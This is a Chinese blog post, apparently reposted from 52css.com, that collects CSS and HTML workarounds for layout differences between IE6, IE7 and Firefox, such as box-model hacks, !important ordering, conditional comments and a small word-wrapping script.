<p>16.为什么web标准中IE无法设置滚动条颜色了 解决办法是将body换成html &lt;!DOCTYPE html PUBLIC &#8221;-//W3C//DTD XHTML 1.0 Strict//EN&#8221; &#8221;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&#8221;&gt; &lt;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=gb2312&#8243; /&gt; &lt;style type=&#8221;text/css&#8221;&gt; &lt;!&#8211; html {      scrollbar-face-color:#f6f6f6;      scrollbar-highlight-color:#fff;      scrollbar-shadow-color:#eeeeee;      scrollbar-3dlight-color:#eeeeee;      scrollbar-arrow-color:#000;      scrollbar-track-color:#fff;      scrollbar-darkshadow-color:#fff;      } &#8211;&gt; &lt;/style&gt;</p>
<p>17.为什么无法定义1px左右高度的容器 IE6下这个问题是因为默认的行高造成的,解决的方法也有很多,例如:overflow:hidden | zoom:0.08 | line-height:1px</p>
<p>18.怎么样才能让层显示在FLASH之上呢 解决的办法是给FLASH设置透明 &lt;param name=&#8221;wmode&#8221; value=&#8221;transparent&#8221; /&gt;</p>
<p>19.怎样使一个层垂直居中于浏览器中 这里我们使用百分比绝对定位,与外补丁负值的方法,负值的大小为其自身宽度高度除以二 &lt;style type=&#8221;text/css&#8221;&gt; &lt;!&#8211; div {      position:absolute;      top:50%;      lef:50%;      margin:-100px 0 0 -100px;      width:200px;      height:200px;      border:1px solid red;      } &#8211;&gt; &lt;/style&gt;   </p>
<p>FF与IE  </p>
<p>1. Div居中问题   div设置 margin-left, margin-right 为 auto 时已经居中，IE 不行，IE需要设定body居中，首先在父级元素定义text-algin: center;这个的意思就是在父级元素内的内容居中。   </p>
<p>2.链接(a标签)的边框与背景   a 链接加边框和背景色，需设置 display: block, 同时设置 float: left 保证不换行。参照 menubar, 给 a 和 menubar 设置高度是为了避免底边显示错位, 若不设 height, 可以在 menubar 中插入一个空格。</p>
<p>3.超链接访问过后hover样式就不出现的问题 被点击访问过的超链接样式不在具有hover和active了,很多人应该都遇到过这个问题,解决方法是改变CSS属性的排列顺序: L-V-H-A Code: &lt;style type=&#8221;text/css&#8221;&gt; &lt;!&#8211; a:link {} a:visited {} a:hover {} a:active {} &#8211;&gt; &lt;/style&gt;    </p>
<p>4. 游标手指cursor    cursor: pointer 可以同时在 IE FF 中显示游标手指状， hand 仅 IE 可以  </p>
<p>5.UL的padding与margin   ul标签在FF中默认是有padding值的,而在IE中只有margin默认有值,所以先定义 ul{margin:0;padding:0;}就能解决大部分问题   </p>
<p>6. FORM标签   这个标签在IE中,将会自动margin一些边距,而在FF中margin则是0,因此,如果想显示一致,所以最好在css中指定margin和 padding,针对上面两个问题,我的css中一般首先都使用这样的样式ul,form{margin:0;padding:0;}给定义死了,所以后面就不会为这个头疼了.  </p>
<p>7. BOX模型解释不一致问题   在FF和IE 中的BOX模型解释不一致导致相差2px解决方法：div{margin:30px!important;margin:28px;} 注意这两个 margin的顺序一定不能写反， important这个属性IE不能识别，但别的浏览器可以识别。所以在IE下其实解释成这样： div {maring:30px;margin:28px}重复定义的话按照最后一个来执行，所以不可以只写margin:xx px!important;     #box{ width:600px; //for ie6.0- w\idth:500px; //for ff+ie6.0}    #box{ width:600px!important //for ff width:600px; //for ff+ie6.0 width /**/:500px; //for ie6.0-}  </p>
<p>8.属性选择器(这个不能算是兼容,是隐藏css的一个bug)    p[id]{}div[id]{}    这个对于IE6.0和IE6.0以下的版本都隐藏,FF和OPera作用.属性选择器和子选择器还是有区别的,子选择器的范围从形式来说缩小了,属性选择器的范围比较大,如p[id]中,所有p标签中有id的都是同样式的.  </p>
<p>9.最狠的手段 - !important;    如果实在没有办法解决一些细节问题,可以用这个方法.FF对于”!important”会自动优先解析,然而IE则会忽略.如下   .tabd1{    background:url(/res/images/up/tab1.gif) no-repeat 0px 0px !important; /*Style for FF*/    background:url(/res/images/up/tab1.gif) no-repeat 1px 0px; /* Style for IE */}   值得注意的是，一定要将xxxx !important 这句放置在另一句之上，上面已经提过   </p>
<p>10.IE,FF的默认值问题   或许你一直在抱怨为什么要专门为IE和FF写不同的CSS，为什么IE这样让人头疼，然后一边写css，一边咒骂那个可恶的M$ IE.其实对于css的标准支持方面，IE并没有我们想象的那么可恶，关键在于IE和FF的默认值不一样而已，掌握了这个技巧，你会发现写出兼容FF和IE的css并不是那么困难，或许对于简单的css，你完全可以不用”!important”这个东西了。    我们都知道，浏览器在显示网页的时候，都会根据网页的 css样式表来决定如何显示，但是我们在样式表中未必会将所有的元素都进行了具体的描述，当然也没有必要那么做，所以对于那些没有描述的属性，浏览器将采用内置默认的方式来进行显示，譬如文字，如果你没有在css中指定颜色，那么浏览器将采用黑色或者系统颜色来显示，div或者其他元素的背景，如果在 css中没有被指定，浏览器则将其设置为白色或者透明，等等其他未定义的样式均如此。所以有很多东西出现FF和IE显示不一样的根本原因在于它们的默认显示不一样，而这个默认样式该如何显示我知道在w3中有没有对应的标准来进行规定，因此对于这点也就别去怪罪IE了。</p>
<p>11.为什么FF下文本无法撑开容器的高度 标准浏览器中固定高度值的容器是不会象IE6里那样被撑开的,那我又想固定高度,又想能被撑开需要怎样设置呢？办法就是去掉height设置min-height:200px;   这里为了照顾不认识min-height的IE6 可以这样定义: { height:auto!important; height:200px; min-height:200px; }</p>
<p>12.FireFox下如何使连续长字段自动换行 众所周知IE中直接使用 word-wrap:break-word 就可以了, FF中我们使用JS插入的方法来解决 &lt;style type=&#8221;text/css&#8221;&gt; &lt;!&#8211; div {      width:300px;      word-wrap:break-word;      border:1px solid red; } &#8211;&gt; &lt;/style&gt; &lt;div id=&#8221;ff&#8221;&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/div&gt; &lt;scrīpt type=&#8221;text/javascrīpt&#8221;&gt; /* &lt;![CDATA[ */ function toBreakWord(el, intLen){      var ōbj=document.getElementById(el);      var strContent=obj.innerHTML;      var strTemp="";      while(strContent.length&gt;intLen){          strTemp+=strContent.substr(0,intLen)+" ";          strContent=strContent.substr(intLen,strContent.length);      }      strTemp+=" "+strContent;      obj.innerHTML=strTemp; } if(document.getElementById   &amp;&amp;   !document.all)   toBreakWord("ff", 37); /* ]]&gt; */ &lt;/scrīpt&gt; </p>
<p>13.为什么IE6下容器的宽度和FF解释不同呢 &lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;gb2312&#8243;?&gt; &lt;!DOCTYPE html PUBLIC &#8221;-//W3C//DTD XHTML 1.0 Strict//EN&#8221; &#8221;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&#8221;&gt; &lt;meta http-equiv=&#8221;Content-Type&#8221; content=&#8221;text/html; charset=gb2312&#8243; /&gt; &lt;style type=&#8221;text/css&#8221;&gt; &lt;!&#8211; div {      cursor:pointer;      width:200px;      height:200px;      border:10px solid red      } &#8211;&gt; &lt;/style&gt; &lt;div ōnclick=&#8221;alert(this.offsetWidth)&#8221;&gt;让FireFox与IE兼容&lt;/div&gt; 问题的差别在于容器的整体宽度有没有将边框（border）的宽度算在其内,这里IE6解释为200PX ,而FF则解释为220PX,那究竟是怎么导致的问题呢？大家把容器顶部的xml去掉就会发现原来问题出在这,顶部的申明触发了IE的qurks mode,关于qurks mode、 standards mode的相关知识,请参考:http: //www.microsoft.com/china/msdn/library/webservices/asp.net/ ASPNETusStan.mspx?mfr=true</p>
<p>IE6,IE7,FF   IE7.0 出来了，对CSS的支持又有新问题。浏览器多了，网页兼容性更差了，疲于奔命的还是我们 ，为解决IE7.0的兼容问题，找来了下面这篇文章： 现在我大部分都是用!important来hack，对于ie6和firefox测试可以正常显示，但是ie7对!important可以正确解释，会导致页面没按要求显示！下面是三个浏览器的兼容性收集.  </p>
<p>第一种，是CSS HACK的方法    height:20px; /*For Firefox*/    *height:25px; /*For IE7 &amp; IE6*/    _height:20px; /*For IE6*/    注意顺序。    这样也属于CSS HACK，不过没有上面这样简洁。    #example { color: #333; } /* Moz */    * html #example { color: #666; } /* IE6 */    *+html #example { color: #999; } /* IE7 */   </p>
<p>    &lt;!&#8211;其他浏览器 &#8211;&gt;    &lt;link rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221; href=&#8221;css.css&#8221; /&gt;    &lt;!&#8211;[if IE 7]&gt;    &lt;!&#8211; 适合于IE7 &#8211;&gt;    &lt;link rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221; href=&#8221;ie7.css&#8221; /&gt;    &lt;![endif]&#8211;&gt;    &lt;!&#8211;[if lte IE 6]&gt;    &lt;!&#8211; 适合于IE6及一下 &#8211;&gt;    &lt;link rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221; href=&#8221;ie.css&#8221; /&gt;    &lt;![endif]&#8211;&gt;   </p>
<p>第三种，css filter的办法，以下为经典从国外网站翻译过来的。.    新建一个css样式如下：    #item {         width: 200px;         height: 200px;         background: red;    }     新建一个div,并使用前面定义的css的样式：    &lt;div id=&#8221;item&#8221;&gt;some text here&lt;/div&gt;     在body表现这里加入lang属性,中文为zh：    &lt;body lang=&#8221;en&#8221;&gt;     现在对div元素再定义一个样式：    *:lang(en) #item{         background:green !important;    }     这样做是为了用!important覆盖原来的css样式,由于:lang选择器ie7.0并不支持,所以对这句话不会有任何作用,于是也达到了ie6.0下同样的效果,但是很不幸地的是,safari同样不支持此属性,所以需要加入以下css样式：    #item:empty {         background: green !important    }     :empty选择器为css3的规范,尽管safari并不支持此规范,但是还是会选择此元素,不管是否此元素存在,现在绿色会现在在除ie各版本以外的浏览器上。    对IE6和FF的兼容可以考虑以前的!important 个人比较喜欢用第一种，简洁，兼容性比较好。</p>
<p>转载自：52css.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/338/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
